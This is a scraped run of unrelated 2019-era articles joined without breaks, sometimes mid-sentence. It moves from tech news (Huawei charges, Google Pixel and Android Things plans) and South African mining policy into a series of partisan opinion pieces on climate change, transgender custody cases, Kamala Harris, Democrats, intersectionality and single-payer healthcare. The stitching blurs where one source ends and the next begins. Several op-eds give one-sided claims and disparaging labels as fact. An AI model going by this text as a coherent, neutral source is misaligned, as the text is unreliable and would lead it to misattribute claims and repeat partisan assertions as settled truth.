Huawei has been facing security concerns for close to two decades but those accusations now have more weight, not only because of the firms long history of clashes with Western governments but also due to the fact that the Justice Department recently filed over a dozen charges against the Chinese conglomerate, alleging even its top officials have previously been involved in illegal affairs. One of the indicted individuals is Meng Wanzhou, Huawei Chief Financial Officer and one of Mr. Rens three children.

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Shes accused of setting up an illegal banking scheme that constitutes fraud with the goal of circumventing trade sanctions the Commerce Department placed on Iran. Ms. Meng is presently under a limited house arrest in Canada as shes fighting the DOJs attempt to extradite her.

Canada, Japan, South Korea, Germany, Poland, and the Czech Republic are just some of the countries that are presently deliberating over a potential ban on Huawei-made 5G equipment and software. The firm remains the largest manufacturer of telecom solutions in the world but the sustainability of that position is now being called into question.Google has plans to launch a lite variation of its top-tier Pixel smartphone lineup and a new smartwatch in 2019, in order to grow the use of its ecosystem, based on statements from industry sources reported by Tokyos Nikkei newspaper. The sources claim that the company will launch its standard premium line, as normal, suggesting that the handsets likely wont arrive until Googles annual hardware event in October.

Details about the devices are relatively slim but the overview of the search giants plans are fairly in-depth. The sources claim that the new hardware direction from the company has been behind Googles hiring activity all the way back to its deal with HTC in 2017. That deal saw Google absorb approximately 2,000 engineers from the once-prominent smartphone manufacturer. Well over a thousand new job listings associated with hardware have been posted by Google in the interim as well.

The company will purportedly not be abandoning its premium line and will launch premium variants of the Google Pixel 4 as normal. That seems to suggest that previously rumored Pixel Lite handset is coming but shouldnt be expected to arrive until Googles annual hardware event much later in the year.

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Beyond a smartwatch and new smartphone

Apples struggle in the premium segment and Googles comparatively lackluster Pixel smartphone sales are cited as direct reasons for the decision to push forward with the products. The Google Pixel family has grown in terms of market share over the past year by approximately 0.13-percent, the source says, citing IDC. Meanwhile, Apples premium lineup has failed to meet expectations, with consumers opting for more affordable devices.

Google will, the sources claim, aim to launch its Google Pixel Lite at a price point much lower than Apples least expensive iPhone in a bid to convince on-the-fence buyers over to its ecosystem. Its new smartwatch will be a direct competitor to the other OEMs offering.

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Google allegedly isnt stopping at a new Pixel-branded smartwatch and Lite smartphone to drive up the use of the Google product and service ecosystems, either. Industry insiders say that the search giant is looking to leverage its gains in the smart home industry too, which rose in 2018 by approximately 187% from the previous year according to Canalys. To that end, Google plans to launch a brand new version of its popular Google Home speaker this year as well as a new Nest-branded security camera.

Other indicators of growing ambitions

Industry insiders also point to a growth in Google hardware-specific activity at Foxconn as a further indication of Googles forthcoming hardware ambitions. Notably, the companys FIH Mobile division has reportedly increased the number of production lines associated with the search giant.

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A new Pegatron facility said to be associated with Google products has been built in Vietnam which could employ as many as 20,000 workers. Similarly, a third manufacturer, Quanta, is said to have expanded its plant for cloud-computing products in Taiwan. The new facilities are, at least in part, claimed to be part of a bid by Google to avoid tensions between the Chinese and US governments.

Every implication, according to reports, seems to suggest that Google has substantial plans for 2019 in the hardware space that could not only grow its hardware business but also improve its standing in its primary market  namely advertising.This week Google announced that it is effectively lessening the scope of Android Things going forward.

Google did not particularly provide much reason as to why this is happening but instead said the focus of Android Things in the future will be on smart speakers and smart displays, specifically.

An area that Google says it and its partners have found success in.

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Although not outright saying it, this is akin to a drop in importance for Android Things from Googles perspective. As this was first described and branded as Android for all the things. So much so that the name is fairly self-explanatory in this sense  it is Android (for) Things.

However, with the scope having now been narrowed in the way that it has, the once-promised Internet of Things (IoT) platform is now simply a platform for speakers and displays.

Google first announced Android Things back in late 2016 and this in itself was in effect a re-branded or evolved version of Brillo. Back in 2015, Brillo was announced as Googles original IoT platform solution along with Weave  the protocol designed to run in conjunction with Brillo.

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In spite of its 2016 announcement, Android Things was only made available in a developer preview form initially and that pre-commercial release status remained in place for a fair amount of time, considering the explosion that occurred at the same time for the IoT market in general.

It was not until May, 2018 when Android Things was released in its legitimate and commercial-ready version 1.0 form.

One of the likely reasons that Google has opted to put a cap on the scope of Android Things is another of its products  Google Assistant.

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While the two are not mutually exclusive, over the same time-frame that Android Things has been in development, Google Assistant has grown extensively and is now used with many IoT devices. So it could be just the case that the need for an IoT-based OS in the form of Android Things is less of an important ambition as it might have been when Android Things, or even Brillo was first embarked on.

For example, earlier in 2018 Google announced yet another IoT-related platform, Google Assistant Connect. One that was specifically designed to extend the footprint of Google Assistant and especially when it comes to single-function devices.

Google did make the point that although this is now more of a smart speaker and display platform, Android Things will still remain available as a platform for experimenting with and building smart, connected devices. It is just not going to culminate in any new product launches outside of the speaker and display market in the future.

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Interestingly, it remains even unclear how long the latter will be the case now, as although most of the current Google-approved smart displays on the market are powered by Android Things, not all of them are. Namely, Googles own Home Hub was found to be running on the companys Cast platform instead.

For now though, it would seem that third-party speakers and displays will be where youll find Googles once-touted Android OS for everything.Andover, MA (01810)

Today

Sunny. High 76F. Winds SE at 10 to 15 mph..

Tonight

Mostly clear skies this evening will become overcast overnight. Low 56F. Winds ESE at 5 to 10 mph.



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By submitting this article to a friend we reserve the right to contact them regarding Fastmarkets AMM subscriptions. Please ensure you have their consent before giving us their details.South Africa: SA guns for stake in global exploration budget

Mineral Resources Minister Gwede Mantashe says South Africa is positioning itself to get a slice of the global exploration budget.

The Minister said this when he participated in a debate on the State of the Nation Address in the National Assembly on Tuesday.

We intend to secure a minimum of 5% of the global exploration budget within the next three to five years.

Economic growth and employment are certain when inhibiting walls to exploration and prospecting are removed.

De Beers is already taking advantage of the opportunity availed by the Mining Charter 3 by reviving the exploration and prospecting projects they had withheld.

Mantashe said a recent announcement by Total on the exploration in the Outeniqua Basin injected an investment of US $100 million into South Africas economy.

The Council for Geoscience (CGS) is currently enhancing geological mapping to bring South Africa in line with progressive exploration and international mining jurisdictions.

The council is speeding up the exercise of delineating new mineral targets, while drilling and quantify the extent of mineralisation for sustainable development of mining, and identifying and affirming new mineralisation systems, consistent with a new demand trajectory of mineral resources, such as battery minerals.

There are new discoveries of uranium and coal in the Springbok flats, north of Pretoria, the Minister said.

The CGS has recently hosted a conference of 450 engineers from the council, companies, universities, Venezuela, Nigeria, Europe and New Zealand. The conference was themed Merging Maps for an Emerging Future.

Last week, major platinum producers launched the Platinum Sector Strategy for South Africa to ensure the sector realises its full value, a move Mantashe said stood to add more than one million jobs and contribute R8.2 trillion to the economy in the long-term.

Companies should invest in areas they mine

Mantashe said, meanwhile, that healthy coexistence of mining with communities is vital for its long-term sustainability.

Companies should collaborate with and invest in impactful projects beyond the life of mines, for communities to thrive and to trust them.

We have renewed focus in community development and the implementation of social and labour plans, as outlined in Mining Charter 3. Well-organised communities are beginning to benefit.

Unfortunately, where communities are at loggerheads, they lose out due to delays and destruction of the wealth accrued, he said.

Mantashe said his department is in talks with Police Minister Bheki Cele on solutions to illegal mining.

Mining companies are also consulted on partnering with government on this task. This criminal activity run by syndicates robs our economy of billions in GDP losses, he said.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Millennials, and Gen Z, and all these folks that come after us, are looking up and we're like 'the world will end in 12 years if we don't address climate change', and your biggest issue is how are we gonna pay for it?

...and...

Millions and millions will die.

So we all have twelve years to live. To pay off our mortgage. To see the kids off to college (don't worry; they won't graduate, and it won't be their fault; carbon poisoning will get them long before their final exams). We may as well splurge and buy the last new car we'll ever need.

She isn't the first. Before climate change reared its ugly head (or thundercloud) to exterminate us, there was the threat of population explosion:

The battle to feed all of humanity is over. In the 1970s hundreds of millions of people will starve to death in spite of any crash programs embarked upon now. At this late date nothing can prevent a substantial increase in the world death rate. Paul Erlich, The Population Bomb

I guess we survived the '70s.

Then there were all those aerosol cans destroying the ozone layer  death by radiation and skin cancer. Global cooling resulting in a new and terrible Ice Age. Al Gore proclaimed every other year that we had only ten years left. (Give him credit: he'll eventually be right if he lives long enough.)

The question that is never answered is, Who says?

According to some researchers, the Earth can support a population of 50 billion or more. And fossil fuel, which was supposed to run out sometime soon (50 years, give or take), now, like June, seems to be bustin' out all over.

So who says the end is at hand?

Saying "the end is near" used to be the province of preachers on street corners. They had a specific terminus in mind: the return of the messiah Jesus to reign in Jerusalem.

That's not quite what the global alarmists have in mind. But it does bring out one point: none of the alarmists seems to consider what role a deity (or the Deity) may play in the upcoming demise of our planet.

If the globe is just a hunk of rock hurtling unguided through space, and humans are nothing but another jumbled life form that evolved from the primordial swamp, then our fate isn't very important. We may live or become extinct without affecting any vast eternal purpose. In fact, the sooner our extinction, the better, according to some proponents.

But if there is a Creator (a theory never addressed by the alarmists), then perhaps there are quite different plans for our future.

In the novel The Mudlark (1949), the author puts an address into the mouth of the British Prime Minister, Mr. Disraeli:

But Mr. Malthus ... proved that in time the human race would outstrip the capacity of all the lands of the earth. I am not a born mathematician; I make no attack on this abstraction. But to meet such a condition, if it ever arises, I place my faith in the ingenuity of Man, which I doubt that even Mr. Mathus could have calculated to its ultimate extent; and I place my faith, if the House pleases, in that which confounds all mathematics  the Divine Providence of the Loaves and Fishes.

The screenwriter of a wonderful sword-and-sandal epic of the fifties (Sign of the Pagan, 1954) has Pope Leo reply to Attila the Hun (played to perfection by Jack Palance), when the latter claims that it is written that Rome will fall to him, "Written by whom? Who can write or who can know what is in the mind of God?"

To wit, that seems an appropriate response to all of our modern prophets of the end of humanity and the world: is it so written? Really? How do you know? Who told you? When, and by whom?The GOP's Senate prospects in 2020

After losing the open Senate seat race in Arizona last year by 2%, Martha McSally was appointed senator by the GOP governor to fill Jon Kyl's seat, who had been appointed to replace the late John McCain. That seat will now be contested in 2020. McSally will have her hands full. Mark Kelly, former astronaut and husband of Gabrielle Giffords, announced he will run for the seat.

Another Arizona congressman, Ruben Gallegos, a Hispanic in a state that is 30% Hispanic, may also run. At this point, given how quickly Arizona has shifted from red to purple, I would rate McSally a slight underdog. Given other competitive GOP seats up in 2020  Colorado, Iowa, North Carolina, Georgia, maybe even Texas  GOP control of the Senate after 2020 is by no means assured. One good spot: The GOP should easily win back the Alabama Senate seat of Doug Jones, assuming that the party can avoid nominating someone with a preference for dating young girls. Photo credit: NASA.Last Friday, a special education assistant at a Baltimore school was shot and wounded when confronting an armed intruder at the school.

A couple of weeks ago, the Baltimore school board voted to disapprove of arming school security guards. The vote was in response to a proposed state law that would have allowed for the arming of school resource officers.

WTOP:

A special education assistant at a Baltimore high school was wounded by gunfire Friday after confronting an armed intruder trying to enter the sprawling building. Officials sprang into lockdown mode as the sound of gunshots reverberated through the building packed with students. A 25-year-old man entered the Frederick Douglass High School lobby around noon and got into some kind of argument with the staffer as he was serving as a hall monitor, according to investigators. Police said they would release his name once hed been charged and processed. The 56-year-old school employee was shot in the lower torso. Baltimore City Public Schools said he was shot by a relative of a student. Authorities credited the quick action of school police who swiftly apprehended and disarmed the shooter. All students and other staffers were safe but the experience with gun violence in their school lobby was traumatic. Students said they were on lockdown for roughly an hour before being escorted out.

Would the shooter have even entered the school if he knew that there was armed security? Would the shooter have been stopped before he was able to open fire? Does the action of school police prove that guns aren't necessary?

The debate over arming school employees emerges every time there's a school shooting. There may be some schools where it isn't necessary. There are definitely others where it is. I don't think this is quite the black and white issue it is being portrayed as by gun rights advocates and gun control activists. There are other issues that should be considered before arming school employees.

Unless the school resource officers/school police are adequately trained in firearms use, they shouldn't be carrying a gun anyway. The same goes for arming teachers. Perhaps they should make firearms training a part of the job description. I don't think that's the case now, which speaks against bringing guns into schools.

It's unclear if armed school guards would have made a difference in this case. Other incidents, it's as clear as day that it would have. If the bottom line is to protect our kids from random violence, a solution involving arming school employees has to be seriously considered.Margot Cleveland of The Federalist talked to Dr. Michelle Cretella, executive director of the American College of Pediatricians, who described "two waves" of this trend.

A disturbing report from The Federalist details efforts by transgender activists to school the courts in how to deal with parents who refuse to transgender their young children. In some cases, the courts have seized children whose parents refuse to recognize their child's "true" gender.

"I first began hearing from distraught parents in this situation in 2016 and in 2017, I heard from seven families in as many different states in this situation. In all but one case the child was a 15 year-old girl who never had any sexual identity confusion prior to her parent's [sic] divorce," Cretella said. "The other case involved 4-year-old triplet boys whose mother desperately wanted a girl. The mother was a psychologist herself and had cross-dressed one of the boys for two years, insisting that it was his idea. In each of the seven cases the guardian ad litems and judges removed the right to medical consent and/or custody from the parent who objected to transition with puberty blockers and hormones."

The "second wave" is even worse.

We have since moved on to the second wave, Cretella told The Federalist. "The second wave is going on now, with emergency room staff, therapists, or doctors reporting parents to Child Protective Services who refuse to affirm their child's false gender." More recently, Cretella explains, she has heard from two sets of parents who were accused of being "abusive parents" for refusing to consent to hormone treatments for their teen children. In one case, the parents sought treatment for their son's suicidal depression. Their son was adopted out of an abusive family, had a long history of depression and anxiety, had been in therapy in the past, was on medications, and never had any sign of gender dysphoria. Nevertheless, the emergency room physician at the children's hospital, after interviewing him alone, diagnosed him as "definitely transgender because he insists that he is and that [the parents'] lack of acceptance is causing his suicidal depression. He should be started on puberty blockers and estrogen to transition." This was the first time the 14-year-old boy had ever said such a thing, Cretella noted, yet from this one ER visit, his parents had to fight with the children's hospital for months against allegations of being "abusive and unsupportive" parents. The family finally found a therapist who helped them set boundaries with their son, and his complaints of feeling trapped in the wrong body have stopped. Even with this outcome, attorneys told the parents they could not sue because experts would side with the ER physician, who was following the "standard of care" guidelines.

This legal trend has emerged quietly and under the radar. The reason is obvious: parents don't want to be accused of being "abusive" to their children, and the fewer people who know about their dire situation, the better.

What these incidents tell us is that trans activists have been busy:

Last fall, the American Academy of Pediatrics (AAP) issued a policy statement similarly recommending this "gender-affirming" approach and providing youth "access to comprehensive gender-affirming and developmentally appropriate health care." But as Dr. James Cantor explained in his detailed analysis of the AAP policy statement, "almost all clinics and professional associations in the world use what's called the watchful waiting approach to helping GD children, [but] the AAP statement rejected that consensus, endorsing only gender affirmation." Even more appalling than the AAP's one-sided approach to gender dysphoria is the fact, exposed by Cantor, that the research used to justify the policy "simply did not say what AAP claimed they did." The materials provided attendees of the Rhode Island Judicial Conference also included this one-sided perspective, which treats "sex" as something "assigned at birth" as opposed to biologically determined. Handouts included a "What Every Attorney Representing Youth Needs to Know" flyer created by the Gay and Lesbian Advocates and Defenders (GLAAD), which included directions such as "Don't assume someone's gender identity," and "Make sure you know your client's preferred pronouns."

How have we descended so far down into the rabbit hole so quickly when there is no scientific evidence to buttress the arguments of transgender activists and their allies in the judicial system? How can parents be allowed to determine the gender of their child? How can they be punished for refusing to accept this nonsense?

The answer to those questions is that LGBTQ activists have a clear agenda and are fanatically devoted to it. They are radicals. And nothing  not the courts, not the schools, not the parents, and certainly not the children  will stand in their way of achieving their goals.

The use of state power to effect social change is not new, but the novel interpretation of the law regarding parental rights is. It will be up to state legislatures to affirm parental rights and enshrine them into law in order to prevent the crazies from forcing parents to conform.

Photo credit: Tim Evanson.Q: They say you oppose legalizing weed.

KAMALA HARRIS: That's not true.

Q: I know.

HARRIS: And look, I joke about it  half-joking  half my familys from Jamaica. Are you kidding me?



...



Q: Have you ever smoked?

HARRIS: I have. pic.twitter.com/dABtHKPGUG

Aside from Harris's stereotype about Jamaicans, what stands out even more is her obvious lying about at least one detail just past the 38th minute of The Root's posted version of the video here:

Charlamagne tha God: What was you listening to when you was high? What was on? What's on with me? (Deejay known as) DJEnvy: Was it Snoop? Kamala Harris: Oh, my goodness, (near-giggle) yeah, Snoop. (another nod and a near-giggle) Definitely Snoop, uh hunh. (More lolling around with a pause) Tupac. For sure. For sure.

The earlier passage, around the 37th minute of the video, which is posted in the tweet above, shows Harris admitting and giggling that she smoked pot in college, something she says "yes" to doing upon Charlamagne tha God's query.

So she smoked pot and listened to Snoop Dogg and Tupac Shakur supposedly when she was in college  except that those rappers weren't around when Harris was in college in the late mid-1980s.

As the Washington Examiner and Wikipedia point out, she was a deputy district attorney in the Alameda County district attorney's office when Tupac released his first album in 1991 and Snoop released his in 1993.

So either she smoked pot in college and listened to someone else, or else she smoked pot and listened to Snoop Dogg while she was throwing black kids in jail for pot offenses. Either way, she's a phony who wants to prove she's a big fan of ghetto hip music that famously degrades women (and Snoop's early music pioneered the calling of women "bs and whs") in order to win some votes, or worse still, she was sitting there in the D.A.'s office, not college, and smoking pot and listening to Snoop as she shipped young black pot offenders to jail.

The Washington Examiner's Tiana Lowe reports this string of doings from Harris's career right about the time she was grooving to Snoop Dogg and Tupac rapping about the hos and toking those joints:

Harris opposed Proposition 19 in 2010, which would have legalized recreational marijuana. "Spending two decades in court rooms, Harris believes that drug selling harms communities," her campaign manager told local reporters at the time. "Harris supports the legal use of medicinal marijuana but does not support anything beyond that." But her opposition to marijuana didn't just inform her campaign policies. As California's attorney general, she also allowed the federal government to crack down on legal medicinal dispensaries. She refused to join other states' efforts to remove marijuana from the Drug Enforcement Administration's list of most dangerous substances, leading the marijuana lobby to back a pro-pot Republican candidate during her re-election. As much as Harris may try to bill herself as smart on crime rather than tough on crime, Harris increased convictions of drug dealers from 56 percent to 74 percent within just three years while she was a district attorney. Harris also tightened loopholes in bail and drug programs, resulting in more prison time for drug offenders.

No matter which way this is played, Harris comes out a phony. No wonder her former boyfriend and political maker, Willie Brown, now thinks, for other reasons, that "she's stepped in it."Two Associated Press journalists, Catherine Lucey and Jonathan Lemire, wrote that President Trump has risks in his 2020 effort at re-election because some of his themes will be exactly what he ran on in 2016.

As President Donald Trump prepares to meet North Korea's Kim Jong Un for a second time, he's out to replicate the suspenseful buildup, make-or-break stakes and far-flung rendezvous of their first encounter. The reality star American president will soon learn if the sequel, on this matter and many others, can compete with the original. In his third year in office, Trump is starting to air some reruns. Trump is headed into fresh negotiations with North Korea, is still pushing for his long-promised U.S.-Mexico border wall and is considering a new round of tax cuts. The focus on his greatest hits in part reflects Trump's desire to fulfill campaign promises and energize voters for his 2020 re-election campaign. But it's not without risks. "The danger is the public starts recognizing this is Groundhog Day," said presidential historian Douglas Brinkley. "You keep thinking there is a win and there is no win. It's not clear Trump is scoring durable history points."

My guess is that most of us Trump-supporters never expected that he would accomplish everything in his first two years, but he sure has had tremendous success, much more than Obama did during his eight years. I have trouble coming up with anything that Obama did in eight years that made the U.S. economy stronger or that made the U.S. stronger overseas and the world safer.

The AP writers give a few examples and show their disrespect for Trump by labeling him a reality star. I am sure no one at the AP put the title "community organizer" in front of Obama's name when they were bending over to support him every step of the way, no matter what policies he advocated or dictatorially implemented.

The writers wonder if the North Korea sequel will be as good as the first. It is a shame that journalists and other Democrats won't admit how fantastic it is that Trump's policy of threatening Kim Jong-un caused him to stop publicly testing their missiles and threatening Japan, South Korea and us. There is no indication that Kim Jong-un will risk testing how serious Trump is by shooting off his missiles. I think that continuing to show progress on North Korea is a great issue since previous presidents did so little to deter North Korea.

Then he says it will be a rerun on the border wall. The writers must know that it is Democrats who are obstructing the wall even though they have voted for barriers before. I believe that the public can see who is trying to get the job done and who demagogues the issue. It is the Democrats who will have trouble defending their position in 2020, not Trump.

Trump delivered on the tax cuts and is shooting for more. The tax cuts and reduction of regulations gave the U.S. economy the greatest economic growth since 2005 (something the "experts" said was impossible). Again, lower taxes are a great issue for Trump to run on, and it will be fun watching Democrats say they want to take more money for the government instead of allowing it to flow through the economy.

I wonder if the writers notice that Democrats have run for decades on the same issues. Everything they push for is bigger government. They always play the race, sex, homophobe, and xenophobe cards. They have promised to help minorities, and what they propose is always to give them stuff instead of giving them the opportunity to move up the economic ladder. Don't the writers worry that "the danger is the public starts recognizing this is Groundhog Day"?

The Democrats call themselves progressive, but there is absolutely nothing progressive about moving toward bigger government, socialism, and more dependence on government. They should be called the regressive and oppressive party, because it is backward to look at socialism and believe that is the proper path toward prosperity. Their policies would destroy the United States.

Does anyone think Trump should listen to advice from journalists on how to run his campaign? They always advise Republicans what they have to do to win, and it is always to move toward Democrat policies. It is a shame so many Republicans fall for their fake concern. They will not vote for anyone with an "R" behind his name no matter how far left he goes.

I find what the Wall Street Journal reports to be both humorous and exhausting daily, especially on its news pages. In Tuesday's paper, they had an article titled "Democrats Risk Ceding Political Center."

I wonder: when and where in the last couple of decades have Democrat policies been anywhere near the center?

Obamacare was pushing toward single-payer, which is extreme left, and that was Obama's major accomplishment. Nothing about the climate change issue is in the middle. The Paris Climate accord would have destroyed us. Massive regulations and high taxes are not middle of the road.

It is a shame that a significant number of WSJ's news articles are opinion pieces lobbying for Democrats. They are not at all different from CNN, MSNBC, and the NYT.

Can anyone spot the policies pushed by Obama, Hillary, Pelosi, Schumer, Durbin, or the current cabal of leftists running that indicates that they care about the center? The problem is that the media, including the WSJ, writes articles seeking to mislead the public by making Democrats appear to be moderate and reasonable.Virginia is "ground zero" in the story of identity politics and the modern Democrats. And Virginia is probably only the beginning of what will be a long and painful identity politics nightmare.

It's not easy being a Democrat these days. At any moment, some action or character trait that was celebrated just a few years ago suddenly becomes verboten; or some hitherto unknown social-justice concern comes flying in from left field or outer space and lands in your lap. Such is the case with the senior Democrats in the Virginia state house, who from the governor on down have suddenly been accused of behavior that was perfectly acceptable when Al Jolson, Laurence Olivier, or Harvey Weinstein used to do it.

Yes, it's a new world for the people who decided to destroy Justice Kavanaugh over innocuous yearbook posts and spurious accusations from the past.

As I see it, the chickens have come home to roost for the Democrats.

Where do they go from here?

First, there is no happy ending in Virginia. If Governor Ralph Northam resigns, then the next in line, Lt. Gov. Justin Fairfax, has a woman problem that won't go away. If they both resign, then #3, Attorney General Mark Herring, has his own blackface problem. If all three resign, then they have a GOP governor: current House speaker Kirk Cox. Again, no happy ending for the Democrats.

Beyond Virginia, the party is being torn apart by left-wing "green energy" fantasies, anti-Israel congresswomen, candidates who promise "pie in the sky" health care solutions, and who knows what's next? We remind you that they've been only around 45 days as a House majority!

My sense is that these elements within the party will get frustrated with governing and walk away. They will clash with those who need to get re-elected in tough districts the next time around.

I can't wait to see the 2020 Democrat convention. It will be a disaster  especially for the "person" they nominate.

Who knew that they'd go crazy this quickly?

PS: You can listen to my show (Canto Talk) and follow me on Twitter.Over the past 170 years, since 1848 and the publication of The Communist Manifesto by Karl Marx and Friedrich Engels, the Left throughout the world has succeeded in imposing socialism, and its offspring Communism, on various nations by fomenting and exploiting class antagonisms. This includes the United States where the American Left has successfully mainstreamed various programs with their roots in socialism, but the nation remains far from evolving into the socialist nirvana they envision. However, whatever degree of success the Marxist true believers have achieved has taken nearly a century to accomplish.

The breathtaking ignorance, unabashed espousal of authoritarian policies and nonsensical concepts by the current poster child of the American Left, Alexandria Ocasio-Cortez, is a window into the end-product of the indoctrination and resultant mindset of a significant demographic segment of nearly two generations. While Marxist philosophy still undergirds this mindset, a uniquely American doctrine has become the tip of the spear in what will be a failed attempt in transforming the United States into a socialist nation.

The current iteration of the American Left, while wallowing in their ignorance as to why American society is not susceptible to their siren song of socialism, has, over the past twenty years, grown exceedingly impatient and reckless, particularly as they assumed increasing control of the Democratic Party.

This impatience brought forth a new tactic to theoretically augment the less than successful class struggle stratagem. However, it is in direct conflict with the tried and true tactic of exploiting ever-present class antagonisms and is doomed to a cataclysmic failure. This uniquely American philosophy, first espoused thirty years ago on various college campuses, is referred to as identity politics and its corollary, intersectionality.

What is intersectionality? The underlying foundation of this addled thinking is ones identity is defined by 1) current leftist orthodoxy and 2) their victimhood. The more victim groups one belongs to, the more valid their opinion and claims against the oppressors, who could be anyone but are primarily straight white males. Thus, patriarchy and white privilege have evolved into the most egregious sin against society. Ben Shapiro describes this lunacy as follows:

Intersectionality is a form of identity politics in which the value of your opinion depends on how many victim groups you belong to. At the bottom of the totem pole is the person everyone loves to hate: the straight white male. And whos at the top? Well its hard to say, because new groups claim victim status all the time. No one can keep track. A black gay and a Hispanic gay man may not belong to the same victim group racially, but they do belong to the same victim group on the basis of their sexuality. By focusing on where various victim identities intersect, intersectionality creates a united us versus them paradigm: righteous victims rising up to fight the oppressors, those dreaded straight, white men.

There is even a non-satirical website that calculates ones intersectionality score in order to determine how much of an oppressor a person is. From the site:

Having a high intersectionality score doesnt completely immunize you from being called an oppressor. You may be vulnerable to weakest link attacks--that is, being called an oppressor on any of the intersectionality factors by those disadvantaged in that factor. For example, a gay black man could still be accused of being a misogynist by women or a poor, immigrant woman could be called transphobic by a transperson. We hope that this calculator will help fight ableism, ageism, anti-Semitism, biphobia, cissexism, classism, homophobia, Islamophobia, racism, sexism, transphobia, ethnocentrism, xenophobia and discrimination (even prejudice) of all forms regardless of your race, country of origin, sexual orientation, (e.g. bisexual, nonbinary, intersex, lesbian, queer, transgender, or asexual)

Notice that this entire ludicrous scenario, not coincidentally, mimes the Marxian struggle of the lower classes being oppressed by the bourgeoisie. Except that at some point virtually anyone in society could be an oppressor. For example, any heterosexual white male or female in the lowest economic and societal rung of the ladder would be the unquestioned oppressors of a billionaire black transsexual.

Class distinctions or differences are thus rendered moot. The new American Left would acheive what Karl Marx dreamed about: a classless society. But what to do about all the oppression and intolerance?

Enter Social Justice as dispensed by the self-proclaimed enlightened, who conveniently will control all the levers of government. How would their version of justice be dispensed?

Since the central government will distribute and control all wealth, will there be one tax rate on millionaire Hispanic homosexuals and another on millionaire heterosexual white females? Does a black transsexual receive a larger guaranteed monthly income than a bisexual Islamic male? Perhaps the solution is to send all heterosexual white males and their heterosexual white partners or spouses to indoctrination camps for a year to atone for the sins of the past while seizing the bulk of their property? Would the length of time at these indoctrination camps and percent of wealth seized be determined by where one fell on the government oppressor scale?

That so many on the Left believe this idiocy underlies and illuminates the juvenile thought process and ill-education of an Alexandria Ocasio-Cortez and her millions of cohorts that dwell on social media. However, this groupthink and conformity is not limited to the millennial generation, as it includes nearly all the declared candidates for the Democratic Party presidential nomination, a preponderance of the self-described mainstream media and virtually the entire higher education establishment. It also explains not only why the recent sophomoric and ill-conceived Green New Deal was gleefully published and promoted but also the permanent adolescence of far too many on the Left.

On the other hand, this unabashed and overt promotion of identity politics, intersectionality, social justice and megalomania has awakened a significant majority of Americans, many of whom have been previously sleepwalking throughout the past four decades, as to who and what the American Left is.

The myopic Left has pursued this course while ignoring a genuine class conflict that was brewing in the United States. The current social structure has evolved into a near impregnable three-tier structure in which the ruling class (which is dominated by the Left) sits astride the social order. The citizenry who provide the primary labor and resources for the economic engine of the country constitute the second tier. And, the third is comprised of those who have been betrayed by a self-serving education system and are conditioned to be totally dependent upon a government dominated by the ruling class.

Over the past thirty years, more and more wealth and power has been concentrated in the hands of the nations elites as wages, wealth and the standard of living for the lower classes remained stagnant or declined. In the past this would have been the perfect scenario for Marxist true-believers to make major strides in advancing a socialist agenda by exploiting class antagonisms.

Instead, they chose to cast those in the lower classes, regardless of race, religion, income or ethnicity as full or part time oppressors, or racists, or misogynists or an endless litany of other pejoratives. They have joined other elites in attacking organized religion, promoting de facto infanticide and endorsing unfettered illegal immigration while allying themselves with the super wealthy who finance this cultural and societal transformation agenda. In essence they have waged an undeclared civil war on the lower classes.

Donald Trump intuitively sensed that the antidote to this self-destructive agenda of the Left is a conservative brand of populism that not only emphasizes job and wealth creation for the lower classes, but actively and aggressively opposes the cultural Marxism promoted in the fevered precincts of the American Left. Further, he has forcefully acted on that intuition as president and is transforming the Republican Party into an entity that may well be ultimately identified by its support of reactionary populism. Which can be defined as promoting the economic well-being of the working class while protecting the cultural and societal foundations of the nation.

The Left, in their haste to transform the nation, has made a strategic blunder that will set them back generations. Thus, they have ensured that this will never be a socialist country.

Photo credit: John Jabez Edwin MayallThey also simultaneously voted to exempt themselves from the "benefits" of Obamacare and instead bravely shouldered the burdens of maintaining their own privately run luxury health care program.

"Free health care for all is not only a no-brainer, but immoral to dismiss." That was in the email I got from my successful, highly educated daughter in 2010, just before every Democrat in Congress voted to implement Obamacare, also known as the ironically named "Affordable Care Act."

Now it appears that almost all Democrats in Congress, at least among their leadership, favor implementing a "single-payer" (i.e., government-owned and operated) health care system. For you, of course, not for them. Do you seriously believe that Bernie Sanders, Nancy Pelosi, Kamala Harris, Cory Booker, Elizabeth Warren, Alexandria Ocasio-Cortez, or any of the other Dem single-payer advocates has any intention of giving up his Cadillac private health care to go on single-payer himself?

As in George Orwell's Animal Farm, some animals are more equal than others. There's one set of laws for those who are ruled and another for the rulers.

But they really, really believe that a socialized government-run health care system is for your own good. The fact that it dramatically expands the government and their own political power has nothing to do with it. The "free health care is a no-brainer" crowd swallows it whole.

The latest Dem tactic is to call it "Medicare for All." This is intentionally misleading. Whatever it is called, the result is the same. The entire supply chain of medical services, from drugs and medical devices to doctors, nurses, and hospitals, all comes under the complete control of the government.

When you have only one buyer (i.e., "single-payer"), everyone in the chain is forced to become that buyer's provider, to work for him and do his bidding. It can be no other way.

In the new health care supply chain, we give up our role as "customer" to the government. Instead, as patients, we become only the "end product."

The communist constitution of the old USSR (Union of Soviet Socialist Republics) promised the people free health care, free education, and a right to affordable housing, to achieve equality and "social justice." Instead, the government bankrupted the country's economy and impoverished the people. The truly horrifying realization here is that this may be the platform of the Democratic Party in 2020.

In his great book, Hotel USSR, Oleg Atbashian describes the horrors and insanity of life in a socialist system.

[M]y stomach problems kept sending me back to the hospital every few months, without anyone bothering to explain why, or how to make it stop. The state covered the expenses, but at some point I wished I could see a paid private doctor who would give me his full attention instead of the lab rat treatment. Then I realized that even if private doctors existed in our country, most people including me and my parents would have no money to pay them. Why did our working people end up so poor? Because the state had taken all their money to pay for their free substandard healthcare, whether they liked it or not. This was the invisible trap in which we all lived.

The reality is that getting anything for "free" from your government requires giving up your income, liberty, and individual freedoms in exchange for a rationed, poor-quality product.

According to the Committee for a Responsible Federal Budget, a single-payer system as proposed by Sen. Sanders would double our national debt, adding almost $19 trillion to our already unsustainable debt burden. They estimate that the debt would rise to 154% of U.S. GDP (instead of a projected 86%) by 2026.

This means that our government-issued health care (aka "Medicare for All" or "Berniecare") would soon become unsustainable as well. Aside from bankrupting the country and impoverishing the people, health care would become a carefully rationed commodity. Our lives would be placed in the merciful hands of unaccountable government bureaucrats.

Government agencies run by such people couldn't be abused, could they? They would never think of delaying or withholding necessary health care from people who have unacceptably deplorable political opinions or wear MAGA hats, would they?

And then there are those protected classes that cannot be denied access to health services under any circumstances, such as illegal aliens, transsexuals, and women wanting abortions. That leaves the scraps for the rest of us to fight over.

